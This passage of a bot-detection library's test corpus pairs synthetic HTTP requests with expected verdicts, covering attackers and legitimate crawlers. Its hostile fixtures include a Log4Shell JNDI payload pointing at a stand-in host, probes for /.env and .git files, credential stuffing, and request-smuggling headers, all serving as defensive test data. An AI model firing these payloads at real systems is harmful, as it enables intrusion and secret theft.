audience: "unwanted-bot",
|
|
1307
|
+
category: "trap",
|
|
1308
|
+
provenance: "A link rendered off-screen with aria-hidden and tabindex=-1, and disallowed in robots.txt",
|
|
1309
|
+
notes: "The only detector whose false-positive rate does not depend on how well the internet is behaving. It does not model what bots look like; it constructs a situation only a bot can be in.",
|
|
1310
|
+
requests: [{ ...browser("chromeWindows"), path: "/internal/export.csv" }],
|
|
1311
|
+
expect: { verdict: "confirmed-bot", certain: true, detectors: ["trap"] }
|
|
1312
|
+
}),
|
|
1313
|
+
bot({
|
|
1314
|
+
id: "trap-field-filled",
|
|
1315
|
+
title: "Filling a hidden form field",
|
|
1316
|
+
audience: "hostile",
|
|
1317
|
+
category: "trap",
|
|
1318
|
+
provenance: "A honeypot input that is rendered but unreachable by pointer, keyboard or screen reader",
|
|
1319
|
+
notes: "Rendering the field and forgetting to register its name with the detector is a mistake that fails silently \u2014 which is why this case declares the dependency rather than assuming it.",
|
|
1320
|
+
requires: ["trap-form-field:company_url"],
|
|
1321
|
+
requests: [{ ...browser("chromeWindows"), method: "POST", path: "/contact?company_url=http%3A%2F%2Fspam.example" }],
|
|
1322
|
+
expect: { verdict: "confirmed-bot", certain: true, detectors: ["trap"] }
|
|
1323
|
+
}),
|
|
1324
|
+
// ---------------------------------------------------------------------------
|
|
1325
|
+
// Attacks. Not this library's job to stop, but its job to describe.
|
|
1326
|
+
// ---------------------------------------------------------------------------
|
|
1327
|
+
bot({
|
|
1328
|
+
id: "credential-stuffing-browserlike",
|
|
1329
|
+
title: "Credential stuffing from a browser-shaped client",
|
|
1330
|
+
audience: "hostile",
|
|
1331
|
+
category: "attack",
|
|
1332
|
+
provenance: "Modern stuffing runs through headless browsers with correct headers, at a steady rate",
|
|
1333
|
+
notes: "Nothing here is provable, and that is the point of the `delay` action: a quarter of a second per attempt is imperceptible to a person filling in a form and removes the throughput the attack depends on, while excluding nobody.",
|
|
1334
|
+
requests: Array.from({ length: 12 }, (_, index) => ({ ...browser("chromeWindows"), method: "POST", path: "/login", atMs: index * 900 })),
|
|
1335
|
+
expect: { certain: false, neverAction: ["drop"] },
|
|
1336
|
+
tags: ["attack"]
|
|
1337
|
+
}),
|
|
1338
|
+
bot({
|
|
1339
|
+
id: "credential-stuffing-scripted",
|
|
1340
|
+
title: "Credential stuffing from a bare script",
|
|
1341
|
+
audience: "hostile",
|
|
1342
|
+
category: "attack",
|
|
1343
|
+
provenance: "The cheap version, and still the common one",
|
|
1344
|
+
requests: Array.from({ length: 12 }, (_, index) => ({
|
|
1345
|
+
headers: [["Host", "shop.example"], ["User-Agent", "python-requests/2.32.3"], ["Accept-Encoding", "gzip, deflate"], ["Accept", "*/*"], ["Content-Type", "application/x-www-form-urlencoded"]],
|
|
1346
|
+
method: "POST",
|
|
1347
|
+
path: "/login",
|
|
1348
|
+
protocol: "https",
|
|
1349
|
+
httpVersion: "1.1",
|
|
1350
|
+
atMs: index * 250
|
|
1351
|
+
})),
|
|
1352
|
+
expect: { verdict: "confirmed-bot", botClass: "http-client", certain: true },
|
|
1353
|
+
tags: ["attack"]
|
|
1354
|
+
}),
|
|
1355
|
+
bot({
|
|
1356
|
+
id: "path-enumeration",
|
|
1357
|
+
title: "Enumerating admin paths",
|
|
1358
|
+
audience: "hostile",
|
|
1359
|
+
category: "attack",
|
|
1360
|
+
provenance: "Content discovery against a list of common paths",
|
|
1361
|
+
requests: ["/admin", "/wp-admin", "/.env", "/.git/config", "/phpmyadmin", "/backup.zip", "/config.json", "/api/v1/users", "/actuator/env", "/server-status"].map((path, index) => ({
|
|
1362
|
+
...plain("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"),
|
|
1363
|
+
path,
|
|
1364
|
+
atMs: index * 80
|
|
1365
|
+
})),
|
|
1366
|
+
expect: { certain: false, neverAction: ["drop"] },
|
|
1367
|
+
notes: "This library classifies traffic; it does not recognise attack payloads. For that, put a honeypot or a WAF alongside it.",
|
|
1368
|
+
tags: ["attack", "known-limit"]
|
|
1369
|
+
}),
|
|
1370
|
+
bot({
|
|
1371
|
+
id: "http2-connection-header",
|
|
1372
|
+
title: "A hand-assembled HTTP/2 request carrying a connection-specific header",
|
|
1373
|
+
audience: "hostile",
|
|
1374
|
+
category: "protocol-abuse",
|
|
1375
|
+
provenance: "RFC 9113 \xA78.2.2 forbids connection-specific header fields in HTTP/2 and requires endpoints to treat them as malformed",
|
|
1376
|
+
notes: "One of very few deterministic signals available from a single request: every compliant client honours this, so a violation means the request was assembled by something that does not implement the protocol.",
|
|
1377
|
+
requests: [{ headers: [["Host", "shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"], ["Connection", "keep-alive"], ["Transfer-Encoding", "chunked"]], protocol: "https", httpVersion: "2.0" }],
|
|
1378
|
+
expect: { verdict: "confirmed-bot", certain: true, detectors: ["header-integrity"] }
|
|
1379
|
+
}),
|
|
1380
|
+
bot({
|
|
1381
|
+
id: "ua-rotation-single-actor",
|
|
1382
|
+
title: "One actor cycling through a User-Agent list",
|
|
1383
|
+
audience: "unwanted-bot",
|
|
1384
|
+
category: "evasion",
|
|
1385
|
+
provenance: "A scraper rotating identities from a list, from one address",
|
|
1386
|
+
notes: "Only meaningful when the actor key is narrower than an address \u2014 behind a NAT this shape is a busy office. The detector that catches it ships disabled for exactly that reason, so the default configuration is expected to miss this.",
|
|
1387
|
+
requests: [
|
|
1388
|
+
{ ...plain(userAgentOf("chromeWindows")), path: "/p/1", atMs: 0 },
|
|
1389
|
+
{ ...plain(userAgentOf("firefoxWindows")), path: "/p/2", atMs: 400 },
|
|
1390
|
+
{ ...plain(userAgentOf("safariMac")), path: "/p/3", atMs: 800 },
|
|
1391
|
+
{ ...plain(userAgentOf("edgeWindows")), path: "/p/4", atMs: 1200 },
|
|
1392
|
+
{ ...plain(userAgentOf("chromeAndroid")), path: "/p/5", atMs: 1600 }
|
|
1393
|
+
],
|
|
1394
|
+
expect: { certain: false, neverAction: ["drop"] },
|
|
1395
|
+
tags: ["evasion", "known-limit"]
|
|
1396
|
+
}),
|
|
1397
|
+
// ---------------------------------------------------------------------------
|
|
1398
|
+
// Fabricated User-Agents. Not a copied one — an assembled one.
|
|
1399
|
+
//
|
|
1400
|
+
// A scraping stack that reaches for a "random user agent" package gets a string
|
|
1401
|
+
// drawn from independent lists of browsers, versions and platforms, and nothing in
|
|
1402
|
+
// the package checks that the combination is a build that shipped. The result reads
|
|
1403
|
+
// convincingly to a human eye and describes a client that has never existed.
|
|
1404
|
+
// ---------------------------------------------------------------------------
|
|
1405
|
+
bot({
|
|
1406
|
+
id: "ua-forged-chrome-on-iphone",
|
|
1407
|
+
title: "A randomised User-Agent claiming Chrome on an iPhone",
|
|
1408
|
+
audience: "unwanted-bot",
|
|
1409
|
+
category: "ua-forgery",
|
|
1410
|
+
provenance: "The commonest output of a UA-randomiser: a desktop Chrome token glued to an iOS platform block",
|
|
1411
|
+
notes: "Apple requires every iOS browser to use the system WebKit, so Chrome for iOS reports CriOS and an AppleWebKit build of 605.1.15. A string with iPhone, Chrome/ and AppleWebKit/537.36 in it is describing a browser Apple does not permit to exist. Still not `certain`: a person running a UA-spoofing extension produces fabricated strings too.",
|
|
1412
|
+
requests: [{ ...plain("Mozilla/5.0 (iPhone; CPU iPhone OS 17_5 like Mac OS X) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Mobile Safari/537.36", [["Accept-Language", "en-US,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]) }],
|
|
1413
|
+
expect: { certain: false, detectors: ["ua-coherence"], neverAction: ["block", "drop"] },
|
|
1414
|
+
tags: ["evasion", "ua-forgery"]
|
|
1415
|
+
}),
|
|
1416
|
+
bot({
|
|
1417
|
+
id: "ua-forged-two-platforms",
|
|
1418
|
+
title: "A User-Agent naming Windows and macOS at once",
|
|
1419
|
+
audience: "unwanted-bot",
|
|
1420
|
+
category: "ua-forgery",
|
|
1421
|
+
provenance: "A template concatenated with a platform block that was already there",
|
|
1422
|
+
requests: [{ ...plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64; Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.0.0 Safari/537.36", [["Accept-Language", "en-GB,en;q=0.9"], ["Accept-Encoding", "gzip, deflate, br"]]) }],
|
|
1423
|
+
expect: { certain: false, detectors: ["ua-coherence"], neverAction: ["block", "drop"] },
|
|
1424
|
+
tags: ["evasion", "ua-forgery"]
|
|
1425
|
+
}),
|
|
1426
|
+
bot({
|
|
1427
|
+
id: "ua-forged-gecko-in-webkit",
|
|
1428
|
+
title: "A User-Agent claiming Firefox with an AppleWebKit engine",
|
|
1429
|
+
audience: "unwanted-bot",
|
|
1430
|
+
category: "ua-forgery",
|
|
1431
|
+
provenance: "A Chromium template with the browser token swapped for Firefox and the engine block left alone",
|
|
1432
|
+
notes: "Gecko has never reported AppleWebKit. Firefox on iOS is WebKit and says FxiOS, never Firefox/.",
|
|
1433
|
+
requests: [{ ...plain("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Firefox/141.0", [["Accept-Language", "en-US,en;q=0.5"], ["Accept-Encoding", "gzip, deflate, br"]]) }],
|
|
1434
|
+
expect: { certain: false, detectors: ["ua-coherence"], neverAction: ["block", "drop"] },
|
|
1435
|
+
tags: ["evasion", "ua-forgery"]
|
|
1436
|
+
}),
|
|
1437
|
+
bot({
|
|
1438
|
+
id: "ua-stranded-chrome-on-windows-7",
|
|
1439
|
+
title: "Current Chrome on a Windows release Chrome no longer supports",
|
|
1440
|
+
audience: "unwanted-bot",
|
|
1441
|
+
category: "ua-forgery",
|
|
1442
|
+
provenance: "Randomised platform blocks still carry Windows NT 6.1 long after Chrome stopped shipping for it",
|
|
1443
|
+
notes: "The weakest thing `ua-coherence` reports, and deliberately so. Google's last Windows 7 release was Chrome 109, but Supermium and Thorium ship current Chromium on retired Windows to a real if small population \u2014 so this is `moderate`, it is one signal among several, and on its own it does nothing but tag.",
|
|
1444
|
+
requests: [{ ...browser("chromeWindows"), headers: browser("chromeWindows").headers.map((header) => header[0] === "User-Agent" ? ["User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/152.0.0.0 Safari/537.36"] : header) }],
|
|
1445
|
+
expect: { certain: false, detectors: ["ua-coherence"], maxScore: 45, neverAction: ["block", "drop"] },
|
|
1446
|
+
tags: ["evasion", "ua-forgery", "known-cost"]
|
|
1447
|
+
}),
|
|
1448
|
+
// ---------------------------------------------------------------------------
|
|
1449
|
+
// Wordlists. What the request asks for, rather than who is asking.
|
|
1450
|
+
//
|
|
1451
|
+
// These carry a real browser's header set, in a real browser's order, with the
|
|
1452
|
+
// Client Hints intact — everything the consistency detectors read is correct,
|
|
1453
|
+
// because the client copied it correctly. What gives them away is that no link on
|
|
1454
|
+
// any site points at what they are asking for.
|
|
1455
|
+
// ---------------------------------------------------------------------------
|
|
1456
|
+
bot({
|
|
1457
|
+
id: "probe-env-file",
|
|
1458
|
+
title: "A header-perfect client asking for /.env",
|
|
1459
|
+
audience: "hostile",
|
|
1460
|
+
category: "wordlist-probe",
|
|
1461
|
+
provenance: "The single most-requested path on the internet that no site intends to serve",
|
|
1462
|
+
notes: "Never `certain`. A URL is client-supplied text, and the client supplying it might be a security engineer testing their own site \u2014 which is why the answer is a challenge rather than a closed door.",
|
|
1463
|
+
requests: [{ ...browser("chromeWindows"), path: "/.env" }],
|
|
1464
|
+
expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
|
|
1465
|
+
tags: ["scanning"]
|
|
1466
|
+
}),
|
|
1467
|
+
bot({
|
|
1468
|
+
id: "probe-git-config",
|
|
1469
|
+
title: "Walking a version-control directory",
|
|
1470
|
+
audience: "hostile",
|
|
1471
|
+
category: "wordlist-probe",
|
|
1472
|
+
provenance: "Exposed .git directories are harvested continuously; the config file names the remote",
|
|
1473
|
+
requests: [
|
|
1474
|
+
{ ...browser("chromeWindows"), path: "/.git/config", atMs: 0 },
|
|
1475
|
+
{ ...browser("chromeWindows"), path: "/.git/HEAD", atMs: 900 }
|
|
1476
|
+
],
|
|
1477
|
+
expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
|
|
1478
|
+
tags: ["scanning"]
|
|
1479
|
+
}),
|
|
1480
|
+
bot({
|
|
1481
|
+
id: "probe-log4shell-parameter",
|
|
1482
|
+
title: "A JNDI lookup in a query parameter",
|
|
1483
|
+
audience: "hostile",
|
|
1484
|
+
category: "wordlist-probe",
|
|
1485
|
+
provenance: "CVE-2021-44228 scanning has never stopped; the payload is sprayed into every parameter and header a crawler can reach",
|
|
1486
|
+
requests: [{ ...browser("chromeWindows"), path: "/search?q=%24%7Bjndi%3Aldap%3A%2F%2Fscanner.example%2Fa%7D" }],
|
|
1487
|
+
expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
|
|
1488
|
+
tags: ["scanning"]
|
|
1489
|
+
}),
|
|
1490
|
+
bot({
|
|
1491
|
+
id: "probe-trace-method",
|
|
1492
|
+
title: "A TRACE request",
|
|
1493
|
+
audience: "hostile",
|
|
1494
|
+
category: "wordlist-probe",
|
|
1495
|
+
provenance: "Cross-site tracing checks whether a server echoes the request back, including headers a script cannot read",
|
|
1496
|
+
requests: [{ ...plain(CHROME_UA), method: "TRACE" }],
|
|
1497
|
+
expect: { certain: false, detectors: ["probe-signature"], neverAction: ["block", "drop"] },
|
|
1498
|
+
tags: ["scanning"]
|
|
1499
|
+
}),
|
|
1500
|
+
// ---------------------------------------------------------------------------
|
|
1501
|
+
// Framing. A message that disagrees with itself about where it ends.
|
|
1502
|
+
// ---------------------------------------------------------------------------
|
|
1503
|
+
bot({
|
|
1504
|
+
id: "smuggling-content-length-and-transfer-encoding",
|
|
1505
|
+
title: "A request carrying both Content-Length and Transfer-Encoding",
|
|
1506
|
+
audience: "hostile",
|
|
1507
|
+
category: "protocol-abuse",
|
|
1508
|
+
provenance: "RFC 9112 \xA76.1 requires a message with both to be treated as malformed; the disagreement between two servers in a chain is the mechanism of request smuggling",
|
|
1509
|
+
notes: "Proven, like the HTTP/2 case above and for the same reason: every implementation removes one before sending, so a message with both was framed by hand.",
|
|
1510
|
+
requests: [
|
|
1511
|
+
{
|
|
1512
|
+
headers: [["Host", "shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"], ["Content-Type", "application/x-www-form-urlencoded"], ["Content-Length", "6"], ["Transfer-Encoding", "chunked"]],
|
|
1513
|
+
method: "POST",
|
|
1514
|
+
protocol: "https",
|
|
1515
|
+
httpVersion: "1.1"
|
|
1516
|
+
}
|
|
1517
|
+
],
|
|
1518
|
+
expect: { verdict: "confirmed-bot", certain: true, detectors: ["header-integrity"] },
|
|
1519
|
+
tags: ["protocol"]
|
|
1520
|
+
}),
|
|
1521
|
+
bot({
|
|
1522
|
+
id: "smuggling-duplicate-host",
|
|
1523
|
+
title: "A request with two Host headers",
|
|
1524
|
+
audience: "hostile",
|
|
1525
|
+
category: "protocol-abuse",
|
|
1526
|
+
provenance: "RFC 9112 \xA73.2 permits exactly one Host field; a second makes the request target ambiguous between hops",
|
|
1527
|
+
requests: [
|
|
1528
|
+
{
|
|
1529
|
+
headers: [["Host", "shop.example"], ["Host", "internal.shop.example"], ["User-Agent", CHROME_UA], ["Accept", "*/*"]],
|
|
1530
|
+
protocol: "https",
|
|
1531
|
+
httpVersion: "1.1"
|
|
1532
|
+
}
|
|
1533
|
+
],
|
|
1534
|
+
expect: { verdict: "confirmed-bot", certain: true, detectors: ["header-integrity"] },
|
|
1535
|
+
tags: ["protocol"]
|
|
1536
|
+
})
|
|
1537
|
+
];
|
|
1538
|
+
|
|
1539
|
+
// src/corpus/benign-bots.ts
|
|
1540
|
+
function declared(id, title, category, userAgent, provenance, identity, extra) {
|
|
1541
|
+
return bot({
|
|
1542
|
+
id,
|
|
1543
|
+
title,
|
|
1544
|
+
audience: "benign-bot",
|
|
1545
|
+
category,
|
|
1546
|
+
provenance,
|
|
1547
|
+
requests: [plain(userAgent)],
|
|
1548
|
+
expect: { verdict: "confirmed-bot", certain: true, identity, detectors: ["self-identified"] },
|
|
1549
|
+
...extra
|
|
1550
|
+
});
|
|
1551
|
+
}
|
|
1552
|
+
var CRAWLER_HEADERS = [
|
|
1553
|
+
["Host", "shop.example"],
|
|
1554
|
+
["Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"],
|
|
1555
|
+
["Accept-Encoding", "gzip, deflate, br"],
|
|
1556
|
+
["From", "googlebot(at)googlebot.com"]
|
|
1557
|
+
];
|
|
1558
|
+
var VERIFIED = { verdict: "verified-bot", certain: true, detectors: ["crawler-verification"] };
|
|
1559
|
+
var BENIGN_BOT_CASES = [
|
|
1560
|
+
// ---------------------------------------------------------------------------
|
|
1561
|
+
// Search crawlers whose identity can actually be confirmed. These are the cases
|
|
1562
|
+
// that must reach `verified-bot`, because a policy that allows verified crawlers
|
|
1563
|
+
// is worthless if verification never succeeds.
|
|
1564
|
+
// ---------------------------------------------------------------------------
|
|
1565
|
+
bot({
|
|
1566
|
+
id: "googlebot-verified",
|
|
1567
|
+
title: "Googlebot, confirmed by forward-confirmed reverse DNS",
|
|
1568
|
+
audience: "benign-bot",
|
|
1569
|
+
category: "search-crawler",
|
|
1570
|
+
provenance: "Google documents FCrDNS under googlebot.com as the verification method",
|
|
1571
|
+
requests: [{ headers: [["User-Agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"], ...CRAWLER_HEADERS], ip: GOOGLEBOT_IP, protocol: "https", httpVersion: "1.1" }],
|
|
1572
|
+
dns: { reverse: { [GOOGLEBOT_IP]: [GOOGLEBOT_PTR] }, forward: { [GOOGLEBOT_PTR]: [GOOGLEBOT_IP] } },
|
|
1573
|
+
expect: { ...VERIFIED, identity: "googlebot" },
|
|
1574
|
+
tags: ["verification"]
|
|
1575
|
+
}),
|
|
1576
|
+
bot({
|
|
1577
|
+
id: "googlebot-smartphone-verified",
|
|
1578
|
+
title: "Googlebot Smartphone, confirmed by DNS",
|
|
1579
|
+
audience: "benign-bot",
|
|
1580
|
+
category: "search-crawler",
|
|
1581
|
+
provenance: "Google crawls mobile-first; the UA embeds a full Android Chrome string",
|
|
1582
|
+
requests: [
|
|
1583
|
+
{
|
|
1584
|
+
headers: [["User-Agent", "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"], ...CRAWLER_HEADERS],
|
|
1585
|
+
ip: GOOGLEBOT_IP,
|
|
1586
|
+
protocol: "https",
|
|
1587
|
+
httpVersion: "1.1"
|
|
1588
|
+
}
|
|
1589
|
+
],
|
|
1590
|
+
dns: { reverse: { [GOOGLEBOT_IP]: [GOOGLEBOT_PTR] }, forward: { [GOOGLEBOT_PTR]: [GOOGLEBOT_IP] } },
|
|
1591
|
+
expect: { ...VERIFIED, identity: "googlebot" },
|
|
1592
|
+
notes: "The UA embeds a complete Chrome string. Nothing may read that half and conclude the client is a browser.",
|
|
1593
|
+
tags: ["verification"]
|
|
1594
|
+
}),
|
|
1595
|
+
bot({
|
|
1596
|
+
id: "bingbot-verified",
|
|
1597
|
+
title: "Bingbot, confirmed by DNS under search.msn.com",
|
|
1598
|
+
audience: "benign-bot",
|
|
1599
|
+
category: "search-crawler",
|
|
1600
|
+
provenance: "Microsoft documents FCrDNS under search.msn.com",
|
|
1601
|
+
requests: [{ headers: [["User-Agent", "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"], ...CRAWLER_HEADERS], ip: BINGBOT_IP, protocol: "https", httpVersion: "1.1" }],
|
|
1602
|
+
dns: { reverse: { [BINGBOT_IP]: [BINGBOT_PTR] }, forward: { [BINGBOT_PTR]: [BINGBOT_IP] } },
|
|
1603
|
+
expect: { ...VERIFIED, identity: "bingbot" },
|
|
1604
|
+
tags: ["verification"]
|
|
1605
|
+
}),
|
|
1606
|
+
bot({
|
|
1607
|
+
id: "googlebot-dns-unavailable",
|
|
1608
|
+
title: "Googlebot when the resolver is not answering",
|
|
1609
|
+
audience: "benign-bot",
|
|
1610
|
+
category: "search-crawler",
|
|
1611
|
+
provenance: "A DNS outage must not turn every crawler into an accused forgery",
|
|
1612
|
+
notes: "The single most important negative case in the corpus. Silence is not disproof: the verdict falls back to the honest self-declaration, and the crawler is never accused of impersonation.",
|
|
1613
|
+
// A different address from the verified case on purpose: DNS answers are cached
|
|
1614
|
+
// by address, so reusing it would resolve from the cache and never exercise the
|
|
1615
|
+
// unavailable path at all.
|
|
1616
|
+
requests: [{ headers: [["User-Agent", "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"], ...CRAWLER_HEADERS], ip: "66.249.66.99", protocol: "https", httpVersion: "1.1" }],
|
|
1617
|
+
dns: { unavailable: true },
|
|
1618
|
+
expect: { verdict: "confirmed-bot", botClass: "declared-bot", certain: true, identity: "googlebot", notDetectors: ["crawler-verification"] },
|
|
1619
|
+
tags: ["verification", "regression"]
|
|
1620
|
+
}),
|
|
1621
|
+
bot({
|
|
1622
|
+
id: "duckduckbot-in-range",
|
|
1623
|
+
requires: ["crawler-ranges"],
|
|
1624
|
+
title: "DuckDuckBot from its published range",
|
|
1625
|
+
audience: "benign-bot",
|
|
1626
|
+
category: "search-crawler",
|
|
1627
|
+
provenance: "DuckDuckGo publishes an address list rather than PTR records",
|
|
1628
|
+
requests: [{ ...plain("Mozilla/5.0 (compatible; DuckDuckBot-Https/1.1; https://duckduckgo.com/duckduckbot)"), ip: IN_RANGE["duckduckbot"] }],
|
|
1629
|
+
expect: { ...VERIFIED, identity: "duckduckbot" },
|
|
1630
|
+
tags: ["verification"]
|
|
1631
|
+
}),
|
|
1632
|
+
// ---------------------------------------------------------------------------
|
|
1633
|
+
// Search crawlers taken at their word.
|
|
1634
|
+
// ---------------------------------------------------------------------------
|
|
1635
|
+
declared("yandexbot", "YandexBot", "search-crawler", "Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)", "Yandex publishes FCrDNS under yandex.ru/net/com", "yandexbot"),
|
|
1636
|
+
declared("baiduspider", "Baiduspider", "search-crawler", "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)", "Baidu publishes FCrDNS under baidu.com", "baiduspider"),
|
|
1637
|
+
declared("applebot", "Applebot", "search-crawler", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Powers Siri and Spotlight suggestions", "applebot"),
|
|
1638
|
+
declared("seznambot", "SeznamBot", "search-crawler", "Mozilla/5.0 (compatible; SeznamBot/4.0; +http://napoveda.seznam.cz/seznambot-intro/)", "The dominant search engine in Czechia", "seznambot"),
|
|
1639
|
+
declared("naver-yeti", "Naver Yeti", "search-crawler", "Mozilla/5.0 (compatible; Yeti/1.1; +http://naver.me/spd)", "The dominant search engine in South Korea", "naver-yeti"),
|
|
1640
|
+
declared("petalbot", "PetalBot", "search-crawler", "Mozilla/5.0 (Linux; Android 7.0;) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; PetalBot;+https://webmaster.petalsearch.com/site/petalbot)", "Huawei's search crawler", "petalbot"),
|
|
1641
|
+
declared("qwantbot", "Qwantbot", "search-crawler", "Mozilla/5.0 (compatible; Qwantbot/1.0; +https://help.qwant.com/bot/)", "A privacy-focused European search engine", "qwantbot"),
|
|
1642
|
+
declared("mojeekbot", "MojeekBot", "search-crawler", "Mozilla/5.0 (compatible; MojeekBot/0.11; +https://www.mojeek.com/bot.html)", "An independent index \u2014 the kind of crawler a blanket block quietly kills", "mojeek"),
|
|
1643
|
+
declared("marginalia", "Marginalia Search", "search-crawler", "Mozilla/5.0 (compatible; Mozilla/5.0; +https://search.marginalia.nu/)", "A small independent index", "marginalia"),
|
|
1644
|
+
declared("sogou", "Sogou Spider", "search-crawler", "Sogou web spider/4.0(+http://www.sogou.com/docs/help/webmasters.htm#07)", "A major Chinese search engine", "sogou"),
|
|
1645
|
+
// Google's specialist fleet. Blocking these breaks Search Console, Ads and
|
|
1646
|
+
// Merchant Center in ways that are hard to trace back to a bot rule.
|
|
1647
|
+
declared("google-inspectiontool", "Google-InspectionTool", "search-crawler", "Mozilla/5.0 (compatible; Google-InspectionTool/1.0;)", "What Search Console's URL Inspection uses; blocking it breaks your own diagnostics", "googlebot"),
|
|
1648
|
+
declared("storebot-google", "Storebot-Google", "search-crawler", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 (compatible; Storebot-Google/1.0; +http://www.google.com/bot.html)", "Crawls product pages for Google Shopping and Merchant Center listings", "googlebot"),
|
|
1649
|
+
declared("googleother", "GoogleOther", "search-crawler", "Mozilla/5.0 (compatible; GoogleOther)", "Google's internal one-off crawls, separated from Search", "googlebot"),
|
|
1650
|
+
declared("adsbot-google", "AdsBot-Google", "advertising", "AdsBot-Google (+http://www.google.com/adsbot.html)", "Checks landing-page quality; blocking it degrades ad quality scores", "adsbot-google"),
|
|
1651
|
+
declared("mediapartners-google", "Mediapartners-Google", "advertising", "Mediapartners-Google", "Crawls pages carrying AdSense units to choose relevant ads", "adsbot-google"),
|
|
1652
|
+
declared("feedfetcher-google", "Feedfetcher-Google", "feed-reader", "FeedFetcher-Google; (+http://www.google.com/feedfetcher.html)", "Fetches feeds for Google products", "feedfetcher"),
|
|
1653
|
+
// ---------------------------------------------------------------------------
|
|
1654
|
+
// Link unfurlers. Every one of these renders a share card somewhere; blocking
|
|
1655
|
+
// them turns every shared link into a bare URL.
|
|
1656
|
+
// ---------------------------------------------------------------------------
|
|
1657
|
+
bot({
|
|
1658
|
+
id: "facebook-external-hit-in-range",
|
|
1659
|
+
requires: ["crawler-ranges"],
|
|
1660
|
+
title: "facebookexternalhit from Meta's published range",
|
|
1661
|
+
audience: "benign-bot",
|
|
1662
|
+
category: "link-unfurler",
|
|
1663
|
+
provenance: "Meta publishes its crawler ranges; no usable PTR records",
|
|
1664
|
+
requests: [{ ...plain("facebookexternalhit/1.1 (+http://www.facebook.com/externalhit_uatext.php)"), ip: IN_RANGE["facebook-external"] }],
|
|
1665
|
+
expect: { ...VERIFIED, identity: "facebook-external" },
|
|
1666
|
+
tags: ["verification"]
|
|
1667
|
+
}),
|
|
1668
|
+
declared("twitterbot", "Twitterbot", "link-unfurler", "Twitterbot/1.0", "Renders X/Twitter card previews", "twitterbot"),
|
|
1669
|
+
declared("linkedinbot", "LinkedInBot", "link-unfurler", "LinkedInBot/1.0 (compatible; Mozilla/5.0; Apache-HttpClient +http://www.linkedin.com)", "Renders LinkedIn share previews. Note it also names Apache-HttpClient \u2014 a client that is honest about being built on a library.", "linkedinbot"),
|
|
1670
|
+
declared("slackbot-linkexpanding", "Slackbot-LinkExpanding", "link-unfurler", "Slackbot-LinkExpanding 1.0 (+https://api.slack.com/robots)", "Unfurls links pasted into Slack channels", "slackbot"),
|
|
1671
|
+
declared("slackbot-imgproxy", "Slack image proxy", "link-unfurler", "Slack-ImgProxy (+https://api.slack.com/robots)", "Fetches images for Slack previews", "slackbot"),
|
|
1672
|
+
declared("discordbot", "Discordbot", "link-unfurler", "Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)", "Renders Discord embeds", "discordbot"),
|
|
1673
|
+
declared("telegrambot", "TelegramBot", "link-unfurler", "TelegramBot (like TwitterBot)", "Renders Telegram link previews", "telegrambot"),
|
|
1674
|
+
declared("whatsapp-preview", "WhatsApp link preview", "link-unfurler", "WhatsApp/2.24.17.79 A", "Fetches Open Graph tags when a link is shared in a chat", "whatsapp"),
|
|
1675
|
+
declared("redditbot", "Redditbot", "link-unfurler", "Mozilla/5.0 (compatible; redditbot/1.0; +http://www.reddit.com/feedback)", "Renders Reddit link previews", "redditbot"),
|
|
1676
|
+
declared("pinterestbot", "Pinterestbot", "link-unfurler", "Mozilla/5.0 (compatible; Pinterestbot/1.0; +http://www.pinterest.com/bot.html)", "Powers Pin previews and rich pins", "pinterestbot"),
|
|
1677
|
+
declared("mastodon-preview", "Mastodon link preview", "link-unfurler", "http.rb/5.1.1 (Mastodon/4.3.1; +https://mastodon.social/)", "Fediverse servers fetch previews individually, so one shared link can arrive from hundreds of hosts at once", "mastodon"),
|
|
1678
|
+
declared("embedly", "Embedly", "link-unfurler", "Mozilla/5.0 (compatible; Embedly/0.2; +http://support.embed.ly/)", "Powers previews for many products that do not fetch links themselves", "embedly"),
|
|
1679
|
+
// ---------------------------------------------------------------------------
|
|
1680
|
+
// Monitoring. Usually yours. If any of these is blocked you find out during an
|
|
1681
|
+
// incident, from a monitor that was reporting a false green.
|
|
1682
|
+
// ---------------------------------------------------------------------------
|
|
1683
|
+
bot({
|
|
1684
|
+
id: "uptimerobot-in-range",
|
|
1685
|
+
requires: ["crawler-ranges"],
|
|
1686
|
+
title: "UptimeRobot from its published range",
|
|
1687
|
+
audience: "benign-bot",
|
|
1688
|
+
category: "monitoring",
|
|
1689
|
+
provenance: "UptimeRobot publishes its checking addresses",
|
|
1690
|
+
